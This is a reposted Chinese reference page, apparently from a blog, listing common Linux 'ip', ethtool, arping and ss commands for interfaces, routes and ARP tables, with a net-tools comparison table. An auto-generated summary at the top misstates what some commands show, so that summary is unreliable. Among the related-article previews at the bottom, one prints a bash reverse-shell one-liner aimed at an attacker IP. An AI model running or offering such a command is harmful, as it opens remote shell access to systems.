[转帖]Linux IP命令常见用法及网络管理参考手册

linux,ip,命令,常见,用法,网络管理,参考手册 · 浏览次数 : 0

小编点评

**一、查询** 1. **ip addr show dev em1** 显示所有接口的信息,包括 IP 地址、网关地址、接口名称等。 2. **ip link show dev em1** 显示该接口上所有连接的网络设备的信息,包括 IP 地址、端口号、状态等。 3. **ip -s link** 显示所有网络连接的信息,包括 IP 地址、接口名称、连接状态等。 **二、多播寻址** 1. **ip maddr add 33:33:00:00:00:01 dev em1** 添加静态链路层多播地址 33:33:00:00:00:01。 2. **ip maddr del 33:33:00:00:00:01 dev em1** 删除静态链路层多播地址 33:33:00:00:00:01。 **三、修改IP地址与接口状态** 1. **ip addr add 192.168.1.1/24 dev em1** 添加一个IP地址 192.168.1.1/24 到接口 em1。 2. **ip addr del 192.168.1.1/24 dev em1** 删除一个IP地址 192.168.1.1/24 的 IP 地址。 **四、调整路由** 1. **ip route add default via 192.168.1.1 dev em1** 设置默认路由,将所有流量路由到 IP 地址 192.168.1.1 的接口 em1。 2. **ip route add 192.168.1.0/24 via 192.168.1.1** 设置从 IP 地址 192.168.1.0 到 192.168.1.254 的路由路径为 192.168.1.1。 **五、管理ARP表** 1. **ip neigh add 192.168.1.1 lladdr 1:2:3:4:5:6 dev em1** 添加一个条目到ARP表中,IP地址为 192.168.1.1,MAC地址为 1:2:3:4:5:6。 2. **ip neigh del 192.168.1.1 dev eth1** 删除ARP表中的条目,IP地址为 192.168.1.1。

正文

一、查询

1、显示IP地址及其属性

ip addr

仅显示某块网卡的信息

ip addr show dev em1

2、显示所有接口状态

ip link

显示某一接口状态:

ip link show dev em1

查询接口数据:

ip -s link

3、查询路由表

ip route

4、查询网卡多播信息

  1. ip maddr
  2. ip maddr show dev em1

5、查询ARP缓存表

  1. ip neigh
  2. ip neigh show dev em1

6、查询命令参数

  1. ip help
  2. ip addr help
  3. ip link help
  4. ip route help
  5. ip neigh help

二、多播寻址

1、添加静态链路层多播地址

ip maddr add 33:33:00:00:00:01 dev em1

2、删除多播地址

ip maddr del 33:33:00:00:00:01 dev em1

三、修改IP地址与接口状态

1、添加一个IP地址

ip addr add 192.168.1.1/24 dev em1

2、删除一个IP地址

ip addr del 192.168.1.1/24 dev em1

3、拉起em1网卡

ip link set em1 up

4、down掉em1网卡

ip link set em1 down

5、设置网卡最大传输单元(Maximum Transfer Unit,MTU)

ip link set em1 mtu 9000

6、启用网卡混杂模式(能够接收所有经过它的数据流,而不论其目的地址是否是它)

ip link set em1 promisc on

四、调整路由

1、添加默认路由,网关为192.168.1.1 ,通过em1网卡连接

ip route add default via 192.168.1.1 dev em1

2、添加到192.168.1.0/24的路由

ip route add 192.168.1.0/24 via 192.168.1.1

3、添加到192.168.1.0/24的路由,通过em1网卡

ip route add 192.168.1.0/24 dev em1

4、删除一条路由

  1. ip route delete 192.168.1.0/24 via 192.168.1.1
  2. ip route delete 192.168.1.0/24 via 192.168.1.1 dev em1

5、替换路由(如果未定义,则添加-add)

ip route replace 192.168.1.0/24 dev em1

6、显示到达IP 192.168.1.5的路由

ip route get 192.168.1.5

五、管理ARP表

1、向ARP表添加条目,IP地址:192.168.1.1,MAC地址:1:2:3:4:5:6

ip neigh add 192.168.1.1 lladdr 1:2:3:4:5:6 dev em1

2、使ARP表某个条目失效

ip neigh del 192.168.1.1 dev em1

3、替换,如果未定义则添加一条ARP记录

ip neigh replace 192.168.1.1 lladdr 1:2:3:4:5:6 dev em1

六、其他一些有用的网络命令

以下命令不一定来自iproute工具包

1、向相邻主机发送ARP请求

查看当前缓存ARP表:

  1. arp -a //BSD风格显示
  2. arp -e //Linux风格显示

通过eth0向相邻主机发送ARP请求:

arping -I eth0 192.168.1.1

检测192.168.1.1上的重复mac地址:

arping -D -I eth0 192.168.1.1

2、查询和控制网卡驱动和硬件设置

显示eth0的循环缓冲区(ring buffer):

ethtool -g eth0

显示eth0的驱动信息:

ethtool -i eth0

定位eth0,通常是通过使网络端口上的指示灯闪烁来定位:

ethtool -p eth0

显示eth0的网络和驱动数据:

ethtool -S eth0

3、显示socket数据

显示所有socket(监听/非监听):

ss -a

显示详细的socket信息:

ss -e

显示计时器信息:

ss -o

不解析地址:

ss -n

显示使用socket的进程:

ss -p

七、net-tools和iproute工具包的命令比较

NET-TOOLS 命令IPROUTE 命令
arp -aip neigh
arp -vip -s neigh
arp -s 192.168.1.1 1:2:3:4:5:6ip neigh add 192.168.1.1 lladdr 1:2:3:4:5:6 dev eth1
arp -i eth1 -d 192.168.1.1ip neigh del 192.168.1.1 dev eth1
ifconfig -aip addr
ifconfig eth0 downip link set eth0 down
ifconfig eth0 upip link set eth0 up
ifconfig eth0 192.168.1.1ip addr add 192.168.1.1/24 dev eth0
ifconfig eth0 netmask 255.255.255.0ip addr add 192.168.1.1/24 dev eth0
ifconfig eth0 mtu 9000ip link set eth0 mtu 9000
ifconfig eth0:0 192.168.1.2ip addr add 192.168.1.2/24 dev eth0
netstatss
netstat -neopass -neopa
netstat -gip maddr
routeip route
route add -net 192.168.1.0 netmask 255.255.255.0 dev eth0ip route add 192.168.1.0/24 dev eth0
route add default gw 192.168.1.1ip route add default via 192.168.1.1
文章知识点与官方知识档案匹配,可进一步学习相关知识
CS入门技能树Linux进阶新增用户25458 人正在系统学习中

与[转帖]Linux IP命令常见用法及网络管理参考手册相似的内容:

[转帖]Linux IP命令常见用法及网络管理参考手册

一、查询 1、显示IP地址及其属性 ip addr 仅显示某块网卡的信息 ip addr show dev em1 2、显示所有接口状态 ip link 显示某一接口状态: ip link show dev em1 查询接口数据: ip -s link 3、查询路由表 ip route 4、查询网卡

[转帖]放弃 ifconfig,拥抱 ip 命令

https://linux.cn/article-13089-1.html 开始使用现代方法配置 Linux 网络接口。 在很长一段时间内,ifconfig 命令是配置网络接口的默认方法。它为 Linux 用户提供了很好的服务,但是网络很复杂,所以配置网络的命令必须健壮。ip 命令是现代系统中新的默

[转帖]放弃 ifconfig,拥抱 ip 命令

开始使用现代方法配置 Linux 网络接口。 在很长一段时间内,ifconfig命令是配置网络接口的默认方法。它为 Linux 用户提供了很好的服务,但是网络很复杂,所以配置网络的命令必须健壮。ip命令是现代系统中新的默认网络命令,在本文中,我将向你展示如何使用它。 ip命令工作在OSI 网络栈的两

[转帖]Linux中iptraf命令详解

https://www.sohu.com/a/217620611_610671 iptraf是一个基于ncurses开发的IP局域网监控工具,它可以实时地监视网卡流量,可以生成各种网络统计数据,包括TCP信息、UDP统计、ICMP和OSPF信息、以太网负载信息、节点统计、IP校验和错误和其它一些信息

[转帖]Linux之bash反弹shell原理浅析

环境 攻击机:kali ip:192.168.25.144 靶 机:centos ip:192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 攻击

[转帖]iptables命令详解和举例(完整版)

1、防火墙概述 防火墙,其实说白了讲,就是用于实现Linux下访问控制的功能的,它分为硬件的或者软件的防火墙两种。无论是在哪个网络中,防火墙工作的地方一定是在网络的边缘。而我们的任务就是需要去定义到底防火墙如何工作,这就是防火墙的策略,规则,以达到让它对出入网络的IP、数据进行检测。 目前市面上比较

[转帖]iftop流量监控

https://www.cnblogs.com/zh-dream/p/16691807.html iftop 是 Linux 系统一个免费的网卡实时流量监控工具,类似于 top 命令。iftop 可以监控指定网卡的实时流量、端口连接信息、反向解析 IP 等,还可以精确显示本机网络流量及网络内各主机和

[转帖]命令行安装kvm虚拟机、桥接网络、用virt-manager管理

https://www.shuzhiduo.com/A/Ae5RDQpNzQ/ 前进的code 2022-11-10 原文 宿主机CentOS Linux release 7.2.1511 (Core),内核3.10.0-327.el7.x86_64 1、配置宿主机网络桥接 想让虚拟机有自己的ip且

[转帖]Linux内核 TCP/IP、Socket参数调优

文章系转载,便于整理和分类,原文地址:http://www.360doc.com/content/14/0606/16/3300331_384326124.shtml Doc1: /proc/sys/net目录 所有的TCP/IP参数都位于/proc/sys/net目录下(请注意,对/proc/sy

[转帖]Linux conntrack模块,ip_conntrack 模块的作用

ip_conntrack 是Linux NAT一个跟踪连接条目的模块记录着允许的跟踪连接条目ip_conntrack 模块会记录 tcp 通讯协议的 established connection 记录, 而且预设 timeout 时间长达五天 (432,000 秒).所以局域网中当有人使用p2p类的